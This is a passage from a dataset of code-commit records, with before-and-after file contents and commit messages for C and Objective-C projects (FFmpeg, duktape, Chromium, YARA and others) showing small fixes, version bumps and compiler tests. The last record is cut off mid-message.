{"commit":"e0fa191cf75370ca96af601a029aa85e632a2ec3","old_file":"SSPSolution\/SSPSolution\/GameStateHandler.h","new_file":"SSPSolution\/SSPSolution\/GameStateHandler.h","old_contents":"#ifndef SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#define SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#include \"GameState.h\"\n#include \"StartState.h\"\n#include \"LevelSelectState.h\"\n#include <vector>\n\n#define START_WITHOUT_MENU\n\nclass GameStateHandler\n{\nprivate:\n\tstd::vector<GameState*> m_stateStack;\n\tstd::vector<GameState*> m_statesToRemove;\npublic:\n\tGameStateHandler();\n\t~GameStateHandler();\n\n\tint ShutDown();\n\n\tint Initialize(ComponentHandler* cHandler, Camera* cameraRef);\n\n\tint Update(float dt, InputHandler* inputHandler);\n\n\t\/\/Push a state to the stack\n\tint PushStateToStack(GameState* state);\nprivate:\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#define SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#include \"GameState.h\"\n#include \"StartState.h\"\n#include \"LevelSelectState.h\"\n#include <vector>\n\n\/\/#define START_WITHOUT_MENU\n\nclass GameStateHandler\n{\nprivate:\n\tstd::vector<GameState*> m_stateStack;\n\tstd::vector<GameState*> m_statesToRemove;\npublic:\n\tGameStateHandler();\n\t~GameStateHandler();\n\n\tint ShutDown();\n\n\tint Initialize(ComponentHandler* cHandler, Camera* cameraRef);\n\n\tint Update(float dt, InputHandler* inputHandler);\n\n\t\/\/Push a state to the stack\n\tint PushStateToStack(GameState* state);\nprivate:\n};\n\n#endif","subject":"REMOVE commented out START_WITHOUT_MENU so we start with a menu","message":"REMOVE commented out START_WITHOUT_MENU so we start with a menu\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"32f23b462b3b1732abfcdde5af941e34bfeaba40","old_file":"Source\/NSManagedObject+HYPPropertyMapper.h","new_file":"Source\/NSManagedObject+HYPPropertyMapper.h","old_contents":"@import CoreData;\n\nstatic NSString * const HYPPropertyMapperCustomRemoteKey = @\"mapper.remote.key\";\n\n@interface NSManagedObject (HYPPropertyMapper)\n\n- (void)hyp_fillWithDictionary:(NSDictionary *)dictionary;\n\n- (NSDictionary *)hyp_dictionary;\n\n@end\n","new_contents":"@import CoreData;\n\nstatic NSString * const HYPPropertyMapperCustomRemoteKey = @\"hyper.remoteKey\";\n\n@interface NSManagedObject (HYPPropertyMapper)\n\n- (void)hyp_fillWithDictionary:(NSDictionary *)dictionary;\n\n- (NSDictionary *)hyp_dictionary;\n\n@end\n","subject":"Improve user info name consistency","message":"Improve user info name consistency","lang":"C","license":"mit","repos":"hyperoslo\/NSManagedObject-HYPPropertyMapper,hyperoslo\/NSManagedObject-HYPPropertyMapper,isghe\/NSManagedObject-HYPPropertyMapper,nbarnold01\/NSManagedObject-HYPPropertyMapper,markosankovic\/NSManagedObject-HYPPropertyMapper"}
{"commit":"d53efb9d518fbc795f79c676649e0ba311838e3a","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k18\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k19\"\n","subject":"Update driver version to 5.02.00-k19","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k19\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"b132768bba645cf5008cbe3c5a12b9806d604480","old_file":"libavformat\/avc.h","new_file":"libavformat\/avc.h","old_contents":"\/*\n * AVC helper functions for muxers\n * Copyright (c) 2008 Aurelien Jacobs <aurel@gnuage.org>\n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#ifndef AVC_H\n#define AVC_H\n\n#include <stdint.h>\n#include \"avio.h\"\n\nint ff_avc_parse_nal_units(const uint8_t *buf_in, uint8_t **buf, int *size);\nint ff_isom_write_avcc(ByteIOContext *pb, const uint8_t *data, int len);\nconst uint8_t *ff_avc_find_startcode(const uint8_t *p, const uint8_t *end);\n\n#endif \/* AVC_H *\/\n","new_contents":"\/*\n * AVC helper functions for muxers\n * Copyright (c) 2008 Aurelien Jacobs <aurel@gnuage.org>\n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#ifndef FFMPEG_AVC_H\n#define FFMPEG_AVC_H\n\n#include <stdint.h>\n#include \"avio.h\"\n\nint ff_avc_parse_nal_units(const uint8_t *buf_in, uint8_t **buf, int *size);\nint ff_isom_write_avcc(ByteIOContext *pb, const uint8_t *data, int len);\nconst uint8_t *ff_avc_find_startcode(const uint8_t *p, const uint8_t *end);\n\n#endif \/* FFMPEG_AVC_H *\/\n","subject":"Add missing FFMPEG_ prefix to multiple inclusion guard.","message":"Add missing FFMPEG_ prefix to multiple inclusion guard.\n\n\ngit-svn-id: a4d7c1866f8397a4106e0b57fc4fbf792bbdaaaf@15047 9553f0bf-9b14-0410-a0b8-cfaf0461ba5b\n","lang":"C","license":"lgpl-2.1","repos":"prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg"}
{"commit":"9fc55387986f0979d10370fe2fa313db8776bdea","old_file":"src\/trm\/ft_trmnew.c","new_file":"src\/trm\/ft_trmnew.c","old_contents":"\/* ************************************************************************** *\/\n\/*                                                                            *\/\n\/*                                                        :::      ::::::::   *\/\n\/*   ft_trmnew.c                                        :+:      :+:    :+:   *\/\n\/*                                                    +:+ +:+         +:+     *\/\n\/*   By: ncoden <ncoden@student.42.fr>              +#+  +:+       +#+        *\/\n\/*                                                +#+#+#+#+#+   +#+           *\/\n\/*   Created: 2015\/05\/08 12:26:49 by ncoden            #+#    #+#             *\/\n\/*   Updated: 2015\/05\/30 16:29:30 by ncoden           ###   ########.fr       *\/\n\/*                                                                            *\/\n\/* ************************************************************************** *\/\n\n#include \"libft.h\"\n\nt_trm\t\t\t*ft_trmnew(void)\n{\n\tt_trm\t\t*trm;\n\tchar\t\t*name;\n\n\tif (!(name = ft_envget(\"TERM\")))\n\t\treturn (NULL);\n\tif (!(trm = (t_trm *)ft_memalloc(sizeof(t_trm))))\n\t\treturn (NULL);\n\tif ((tgetent(NULL, name)))\n\t{\n\t\tif (tcgetattr(ft_trmgetout(), &trm->opts) != -1)\n\t\t\treturn (trm);\n\t}\n\tfree(trm);\n\treturn (NULL);\n}\n","new_contents":"\/* ************************************************************************** *\/\n\/*                                                                            *\/\n\/*                                                        :::      ::::::::   *\/\n\/*   ft_trmnew.c                                        :+:      :+:    :+:   *\/\n\/*                                                    +:+ +:+         +:+     *\/\n\/*   By: ncoden <ncoden@student.42.fr>              +#+  +:+       +#+        *\/\n\/*                                                +#+#+#+#+#+   +#+           *\/\n\/*   Created: 2015\/05\/08 12:26:49 by ncoden            #+#    #+#             *\/\n\/*   Updated: 2015\/06\/06 16:14:04 by ncoden           ###   ########.fr       *\/\n\/*                                                                            *\/\n\/* ************************************************************************** *\/\n\n#include \"libft.h\"\n\nt_trm\t\t\t*ft_trmnew(void)\n{\n\tt_trm\t\t*trm;\n\tchar\t\t*name;\n\n\tif (!(name = ft_envget(\"TERM\")))\n\t\treturn (NULL);\n\tif (!(trm = (t_trm *)ft_memalloc(sizeof(t_trm))))\n\t\treturn (NULL);\n\tif ((tgetent(NULL, name)))\n\t{\n\t\tif (tcgetattr(ft_trmgetout(), &trm->opts) != -1)\n\t\t{\n\t\t\ttrm->inherit_signal = TRUE;\n\t\t\treturn (trm);\n\t\t}\n\t}\n\tfree(trm);\n\treturn (NULL);\n}\n","subject":"Set trm inherit signals by default","message":"Set trm inherit signals by default\n","lang":"C","license":"apache-2.0","repos":"ncoden\/libft"}
{"commit":"21e7321ee26f12929cfc4bca16961873291b6349","old_file":"lib\/cycy\/stdio.c","new_file":"lib\/cycy\/stdio.c","old_contents":"#include \"cycy\/stdio.h\"\n\nint puts(const char * string) {\n    int i = 0;\n    while (string[i] != NULL) {\n        putchar(string[i++]);\n    }\n    putc('\\n');\n    return i + 1;\n}\n","new_contents":"#include \"cycy\/stdio.h\"\n\nint puts(const char * string) {\n    int i = 0;\n    while (string[i] != NULL) {\n        putchar(string[i]);\n        i = i + 1;\n    }\n    putc('\\n');\n    return i + 1;\n}\n","subject":"Make this easier to compile","message":"Make this easier to compile\n","lang":"C","license":"mit","repos":"Magnetic\/cycy,Magnetic\/cycy,Magnetic\/cycy"}
{"commit":"b3a6d0e78452e23b9d2044454aec454d39631263","old_file":"cc1\/tests\/test041.c","new_file":"cc1\/tests\/test041.c","old_contents":"","new_contents":"\/*\nname: TEST041\ndescription: Test for bug parsing ternary operators\noutput:\ntest041.c:36: error: type mismatch in conditional expression\nF1\tI\nG2\tF1\tmain\n{\n\\\nA3\tI\ti\nA4\tP\tp\nS6\tfoo\nM7\tI\ti\nA8\tS6\tfoo\n\tA3\tA3\t#I0\t!I\t#W0\t#W0\t?W\tgI\t:I\n\tA4\tA3\t#I0\t!I\t#P0\t#P0\t?P\t:P\n\tA4\tA3\t#I0\t!I\t#P0\t#P0\t?P\t:P\n\tA4\tA3\t#I0\t!I\t#P0\t#P0\t?P\t:P\ntest041.c:36: error: incompatible types when assigning\ntest041.c:37: error: used struct\/union type value where scalar is required\ntest041.c:38: warning: 'i' defined but not used\ntest041.c:38: warning: 'foo' defined but not used\n*\/\n\nint\nmain(void)\n{\n\tint i;\n\tvoid *p;\n\tstruct foo {int i;} foo;\n\n\ti = i ? 0 : 0l;\n\tp = i ? (void *) 0 : 0;\n\tp = i ? 0 : (void *) 0;\n\tp = i ? 0 : (const void *) 0;\n\tp = i ? 2 : p;\n\tfoo ? 1 : 2;\n}\n\n","subject":"Add tests for ugly ternary operator","message":"Add tests for ugly ternary operator\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/kcc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"6d53dd07a03c4bd24b9ca75cbbfe1c9fc3d4ff1f","old_file":"cpp\/libopenzwavec.h","new_file":"cpp\/libopenzwavec.h","old_contents":"typedef void* COptions;\nCOptions newCOptions(const char*, const char*, const char*);\n","new_contents":"#ifdef __cplusplus\nextern \"C\" {\n#endif\n    typedef void* COptions;\n    COptions newCOptions(const char*, const char*, const char*);\n#ifdef __cplusplus\n}\n#endif\n","subject":"Add back the C++ extern","message":"Add back the C++ extern\n","lang":"C","license":"mit","repos":"Julian\/libopenzwave-cffi,Julian\/libopenzwave-cffi,Julian\/libopenzwave-cffi"}
{"commit":"939117c3e4b66641dd2f0291800ec3294eeebfd4","old_file":"api-testcases\/test-c-constructor.c","new_file":"api-testcases\/test-c-constructor.c","old_contents":"\/*===\n*** test1 (duk_safe_call)\ninherited value\ntop at end: 0\n==> rc=0, result='undefined'\n===*\/\n\nstatic duk_ret_t my_constructor(duk_context *ctx) {\n\treturn 1;\n}\n\nstatic duk_ret_t test1(duk_context *ctx) {\n\tduk_push_global_object(ctx);\n\tduk_push_c_function(ctx, my_constructor, 0);   \/* constructor (function) *\/\n\tduk_push_object(ctx);                          \/* prototype object -> [ global cons proto ] *\/\n\tduk_push_string(ctx, \"inherited value\");\n\tduk_put_prop_string(ctx, -2, \"inherited\");     \/* set proto.inherited = \"inherited value\" *\/\n\tduk_put_prop_string(ctx, -2, \"prototype\");     \/* set cons.prototype = proto; stack -> [ global cons ] *\/\n\tduk_put_prop_string(ctx, -2, \"MyConstructor\"); \/* set global.MyConstructor = cons; stack -> [ global ] *\/\n\tduk_pop(ctx);\n\n\tduk_eval_string(ctx, \"var obj = new MyConstructor(); print(obj.inherited);\");\n\tduk_pop(ctx);\n\n\tprintf(\"top at end: %ld\\n\", (long) duk_get_top(ctx));\n\treturn 0;\n}\n\nvoid test(duk_context *ctx) {\n\tTEST_SAFE_CALL(test1);\n}\n","new_contents":"\/*===\n*** test1 (duk_safe_call)\ninherited value\ntop at end: 0\n==> rc=0, result='undefined'\n===*\/\n\nstatic duk_ret_t my_constructor(duk_context *ctx) {\n\treturn 0;\n}\n\nstatic duk_ret_t test1(duk_context *ctx) {\n\tduk_push_global_object(ctx);\n\tduk_push_c_function(ctx, my_constructor, 0);   \/* constructor (function) *\/\n\tduk_push_object(ctx);                          \/* prototype object -> [ global cons proto ] *\/\n\tduk_push_string(ctx, \"inherited value\");\n\tduk_put_prop_string(ctx, -2, \"inherited\");     \/* set proto.inherited = \"inherited value\" *\/\n\tduk_put_prop_string(ctx, -2, \"prototype\");     \/* set cons.prototype = proto; stack -> [ global cons ] *\/\n\tduk_put_prop_string(ctx, -2, \"MyConstructor\"); \/* set global.MyConstructor = cons; stack -> [ global ] *\/\n\tduk_pop(ctx);\n\n\tduk_eval_string(ctx, \"var obj = new MyConstructor(); print(obj.inherited);\");\n\tduk_pop(ctx);\n\n\tprintf(\"top at end: %ld\\n\", (long) duk_get_top(ctx));\n\treturn 0;\n}\n\nvoid test(duk_context *ctx) {\n\tTEST_SAFE_CALL(test1);\n}\n","subject":"Fix invalid return value in API test","message":"Fix invalid return value in API test\n\nNo effect on test result because the constructor was not returning an\nobject anyway.\n","lang":"C","license":"mit","repos":"chenyaqiuqiu\/duktape,zeropool\/duktape,harold-b\/duktape,eddieh\/duktape,nivertech\/duktape,reqshark\/duktape,nivertech\/duktape,markand\/duktape,pombredanne\/duktape,tassmjau\/duktape,haosu1987\/duktape,jmptrader\/duktape,haosu1987\/duktape,nivertech\/duktape,pombredanne\/duktape,nivertech\/duktape,markand\/duktape,kphillisjr\/duktape,zeropool\/duktape,chenyaqiuqiu\/duktape,sloth4413\/duktape,svaarala\/duktape,reqshark\/duktape,haosu1987\/duktape,jmptrader\/duktape,sloth4413\/duktape,reqshark\/duktape,reqshark\/duktape,pombredanne\/duktape,zeropool\/duktape,skomski\/duktape,thurday\/duktape,reqshark\/duktape,harold-b\/duktape,kphillisjr\/duktape,chenyaqiuqiu\/duktape,harold-b\/duktape,haosu1987\/duktape,skomski\/duktape,skomski\/duktape,eddieh\/duktape,skomski\/duktape,chenyaqiuqiu\/duktape,harold-b\/duktape,harold-b\/duktape,svaarala\/duktape,kphillisjr\/duktape,haosu1987\/duktape,jmptrader\/duktape,chenyaqiuqiu\/duktape,skomski\/duktape,jmptrader\/duktape,jmptrader\/duktape,sloth4413\/duktape,skomski\/duktape,nivertech\/duktape,svaarala\/duktape,jmptrader\/duktape,skomski\/duktape,pombredanne\/duktape,kphillisjr\/duktape,harold-b\/duktape,pombredanne\/duktape,zeropool\/duktape,skomski\/duktape,kphillisjr\/duktape,svaarala\/duktape,chenyaqiuqiu\/duktape,jmptrader\/duktape,tassmjau\/duktape,tassmjau\/duktape,haosu1987\/duktape,markand\/duktape,chenyaqiuqiu\/duktape,harold-b\/duktape,sloth4413\/duktape,svaarala\/duktape,chenyaqiuqiu\/duktape,svaarala\/duktape,jmptrader\/duktape,sloth4413\/duktape,harold-b\/duktape,markand\/duktape,markand\/duktape,tassmjau\/duktape,sloth4413\/duktape,zeropool\/duktape,skomski\/duktape,nivertech\/duktape,tassmjau\/duktape,kphillisjr\/duktape,svaarala\/duktape,markand\/duktape,thurday\/duktape,zeropool\/duktape,sloth4413\/duktape,zeropool\/duktape,pombredanne\/duktape,zeropool\/duktape,eddieh\/duktape,eddieh\/duktape,chenyaqiuqiu\/duktape,zeropool\/duktape,thurday\/duktape,markand\/duktape,sloth4413\/duktape,thurday\/duktape,pombredanne\/duktape,haosu1987\/duktape,thurday\/duktape,harold-b\/duktape,eddieh\/duktape,thurday\/duktape,pombredanne\/duktape,nivertech\/duktape,haosu1987\/duktape,haosu1987\/duktape,thurday\/duktape,kphillisjr\/duktape,tassmjau\/duktape,harold-b\/duktape,tassmjau\/duktape,reqshark\/duktape,tassmjau\/duktape,reqshark\/duktape,nivertech\/duktape,kphillisjr\/duktape,jmptrader\/duktape,reqshark\/duktape,pombredanne\/duktape,pombredanne\/duktape,haosu1987\/duktape,reqshark\/duktape,eddieh\/duktape,chenyaqiuqiu\/duktape,thurday\/duktape,sloth4413\/duktape,markand\/duktape,tassmjau\/duktape,markand\/duktape,tassmjau\/duktape,reqshark\/duktape,zeropool\/duktape,eddieh\/duktape,jmptrader\/duktape,kphillisjr\/duktape,nivertech\/duktape,sloth4413\/duktape,svaarala\/duktape,eddieh\/duktape,eddieh\/duktape,eddieh\/duktape,thurday\/duktape,markand\/duktape,svaarala\/duktape,kphillisjr\/duktape,skomski\/duktape,nivertech\/duktape,thurday\/duktape"}
{"commit":"e3e07072472a4962895a433206f0d84b54b99695","old_file":"rmc.h","new_file":"rmc.h","old_contents":"#ifndef RMC_CORE_H\n#define RMC_CORE_H\n\n#include \"atomic.h\"\n\n#ifdef HAS_RMC\n#error \"no you don't\"\n#else\n\n\/* Dummy version that should work. *\/\n#define XEDGE(x, y) do { } while (0)\n#define VEDGE(x, y) do { } while (0)\n\/* Just stick a visibility barrier after every label. This isn't good\n * or anything, but it probably works. *\/\n\/* This is unhygenic in a nasty way. *\/\n#define L(label, stmt) stmt; vis_barrier()\n\n#endif\n\n\n#endif\n","new_contents":"#ifndef RMC_CORE_H\n#define RMC_CORE_H\n\n#include \"atomic.h\"\n\n#ifdef HAS_RMC\n\n\/* We signal our labels and edges to our LLVM pass in a *really* hacky\n * way to avoid needing to modify the frontend.  Labelled statements\n * are wrapped in two goto labels to force them into their own basic\n * block (labelled statements don't fundamentally *need* to be in\n * their own basic block, but it makes things convenient) and edges\n * are specified by calling a dummy function __rmc_edge_register with\n * the labels as arguments (using computed goto to get the labels).\n *\n * This is really quite fragile; optimization passes will easily\n * destroy this information. The RMC pass should be run *before* any\n * real optimization passes are run but *after* mem2reg. *\/\n\nextern void __rmc_edge_register(int is_vis, void *src, void *dst);\n#define RMC_EDGE(t, x, y) __rmc_edge_register(t, &&_rmc_##x, &&_rmc_##y)\n#define XEDGE(x, y) RMC_EDGE(0, x, y)\n#define VEDGE(x, y) RMC_EDGE(1, x, y)\n\/* This is unhygenic in a nasty way. *\/\n\/* The (void)0s are because declarations can't directly follow labels,\n * apparently. *\/\n#define L(label, stmt)                                                  \\\n    _rmc_##label: (void)0;                                              \\\n    stmt;                                                               \\\n    _rmc_end_##label: __attribute__((unused)) (void)0\n\n#else\n\n\/* Dummy version that should work. *\/\n#define XEDGE(x, y) do { } while (0)\n#define VEDGE(x, y) do { } while (0)\n\/* Just stick a visibility barrier after every label. This isn't good\n * or anything, but it probably works. *\/\n\/* This is unhygenic in a nasty way. *\/\n#define L(label, stmt) stmt; vis_barrier()\n\n#endif \/* HAS_RMC *\/\n\n#endif\n","subject":"Add in a mechanism for interacting with the RMC llvm pass.","message":"Add in a mechanism for interacting with the RMC llvm pass.\n","lang":"C","license":"mit","repos":"msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler"}
{"commit":"181906966dd2bdabcaec3c3e8b1d9b1ac43eb294","old_file":"misc.h","new_file":"misc.h","old_contents":"#ifndef MISC_H\n#define MISC_H\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n\n#include \"types.h\"\n\n#define ARR_LEN(a) (sizeof(a) \/ sizeof(a[0]))\n\n#define LOOKUP(key, table) (assert(key < ARR_LEN(table)), table[key])\n\nstatic inline void* xmalloc(size_t s)\n{\n\tvoid* p = malloc(s);\n\tif (!p) {\n\t\tperror(\"malloc\");\n\t\tabort();\n\t}\n\treturn p;\n}\n\nstatic inline void* xcalloc(size_t s)\n{\n\tvoid* p = calloc(1, s);\n\tif (!p) {\n\t\tperror(\"calloc\");\n\t\tabort();\n\t}\n\treturn p;\n}\n\nstatic inline void xfree(void* p)\n{\n\tfree(p);\n}\n\nextern struct config* config;\n\n#endif \/* MISC_H *\/\n","new_contents":"#ifndef MISC_H\n#define MISC_H\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n\n#include \"types.h\"\n\n#define ARR_LEN(a) (sizeof(a) \/ sizeof(a[0]))\n\n#define LOOKUP(key, table) (assert(key < ARR_LEN(table)), \\\n                            assert(key >= 0), \\\n                            table[key])\n\nstatic inline void* xmalloc(size_t s)\n{\n\tvoid* p = malloc(s);\n\tif (!p) {\n\t\tperror(\"malloc\");\n\t\tabort();\n\t}\n\treturn p;\n}\n\nstatic inline void* xcalloc(size_t s)\n{\n\tvoid* p = calloc(1, s);\n\tif (!p) {\n\t\tperror(\"calloc\");\n\t\tabort();\n\t}\n\treturn p;\n}\n\nstatic inline void xfree(void* p)\n{\n\tfree(p);\n}\n\nextern struct config* config;\n\n#endif \/* MISC_H *\/\n","subject":"Add a greater-than-or-equal-to-zero assert to LOOKUP().","message":"Add a greater-than-or-equal-to-zero assert to LOOKUP().\n","lang":"C","license":"isc","repos":"zevweiss\/enthrall"}
{"commit":"17248aa53615dd3c3e2d68fb6f1adb9ee61d8f4a","old_file":"test2\/vla\/incomplete.c","new_file":"test2\/vla\/incomplete.c","old_contents":"","new_contents":"\/\/ RUN: %check -e %s\n\nvoid init(int (*p)[])\n{\n\tp[0][0] = 1; \/\/ CHECK: error: arithmetic on pointer to incomplete type int[]\n}\n","subject":"Test for arithmetic on pointer to vla","message":"Test for arithmetic on pointer to vla\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"afedf4fa79fedacfcd285d49f1c044ddd138951e","old_file":"chrome\/browser\/cocoa\/objc_zombie.h","new_file":"chrome\/browser\/cocoa\/objc_zombie.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#define CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#pragma once\n\n#import <Foundation\/Foundation.h>\n\n\/\/ You should think twice every single time you use anything from this\n\/\/ namespace.\nnamespace ObjcEvilDoers {\n\n\/\/ Enable zombies.  Returns NO if it fails to enable.\n\/\/\n\/\/ When |zombieAllObjects| is YES, all objects inheriting from\n\/\/ NSObject become zombies on -dealloc.  If NO, -shouldBecomeCrZombie\n\/\/ is queried to determine whether to make the object a zombie.\n\/\/\n\/\/ |zombieCount| controls how many zombies to store before freeing the\n\/\/ oldest.  Set to 0 to free objects immediately after making them\n\/\/ zombies.\nBOOL ZombieEnable(BOOL zombieAllObjects, size_t zombieCount);\n\n\/\/ Disable zombies.\nvoid ZombieDisable();\n\n}  \/\/ namespace ObjcEvilDoers\n\n@interface NSObject (CrZombie)\n- (BOOL)shouldBecomeCrZombie;\n@end\n\n#endif  \/\/ CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#define CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#pragma once\n\n#import <Foundation\/Foundation.h>\n\n\/\/ You should think twice every single time you use anything from this\n\/\/ namespace.\nnamespace ObjcEvilDoers {\n\n\/\/ Enable zombie object debugging. This implements a variant of Apple's\n\/\/ NSZombieEnabled which can help expose use-after-free errors where messages\n\/\/ are sent to freed Objective-C objects in production builds.\n\/\/\n\/\/ Returns NO if it fails to enable.\n\/\/\n\/\/ When |zombieAllObjects| is YES, all objects inheriting from\n\/\/ NSObject become zombies on -dealloc.  If NO, -shouldBecomeCrZombie\n\/\/ is queried to determine whether to make the object a zombie.\n\/\/\n\/\/ |zombieCount| controls how many zombies to store before freeing the\n\/\/ oldest.  Set to 0 to free objects immediately after making them\n\/\/ zombies.\nBOOL ZombieEnable(BOOL zombieAllObjects, size_t zombieCount);\n\n\/\/ Disable zombies.\nvoid ZombieDisable();\n\n}  \/\/ namespace ObjcEvilDoers\n\n@interface NSObject (CrZombie)\n- (BOOL)shouldBecomeCrZombie;\n@end\n\n#endif  \/\/ CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n","subject":"Add link to explanation of what we mean by zombie The person triaging \/ debugging a zombie crash may never have heard of this before.","message":"Add link to explanation of what we mean by zombie\nThe person triaging \/ debugging a zombie crash may never have heard of this before.\n\nBUG=None\nTEST=None\n\nReview URL: http:\/\/codereview.chromium.org\/3763002\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@62723 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"83a86b351e8542ef3f9d607bbf8b32f3ca606fd9","old_file":"common.h","new_file":"common.h","old_contents":"\n\n\n#define exit_with_code(code) { result = code; goto _exit; }\n\nint compile_files(\n  YR_COMPILER* compiler,\n  int argc,\n  const char** argv)\n{\n  for (int i = 0; i < argc - 1; i++)\n  {\n    const char* ns;\n    const char* file_name;\n    char* colon = (char*) strchr(argv[i], ':');\n\n    \/\/ Namespace delimiter must be a colon not followed by a slash or backslash\n    if (colon && *(colon + 1) != '\\\\' && *(colon + 1) != '\/')\n    {\n      file_name = colon + 1;\n      *colon = '\\0';\n      ns = argv[i];\n    }\n    else\n    {\n      file_name = argv[i];\n      ns = NULL;\n    }\n\n    FILE* rule_file = fopen(file_name, \"r\");\n\n    if (rule_file == NULL)\n    {\n      fprintf(stderr, \"error: could not open file: %s\\n\", file_name);\n      fclose(rule_file);\n      return 0;\n    }\n\n    yr_compiler_add_file(compiler, rule_file, ns, file_name);\n\n    fclose(rule_file);\n  }\n\n  return 1;\n}\n","new_contents":"\n\n\n#define exit_with_code(code) { result = code; goto _exit; }\n\nint compile_files(\n  YR_COMPILER* compiler,\n  int argc,\n  const char** argv)\n{\n  for (int i = 0; i < argc - 1; i++)\n  {\n    const char* ns;\n    const char* file_name;\n    char* colon = (char*) strchr(argv[i], ':');\n\n    \/\/ Namespace delimiter must be a colon not followed by a slash or backslash\n    if (colon && *(colon + 1) != '\\\\' && *(colon + 1) != '\/')\n    {\n      file_name = colon + 1;\n      *colon = '\\0';\n      ns = argv[i];\n    }\n    else\n    {\n      file_name = argv[i];\n      ns = NULL;\n    }\n\n    FILE* rule_file = fopen(file_name, \"r\");\n\n    if (rule_file == NULL)\n    {\n      fprintf(stderr, \"error: could not open file: %s\\n\", file_name);\n      return 0;\n    }\n\n    yr_compiler_add_file(compiler, rule_file, ns, file_name);\n\n    fclose(rule_file);\n  }\n\n  return 1;\n}\n","subject":"Remove unnecessary call to fclose.","message":"Remove unnecessary call to 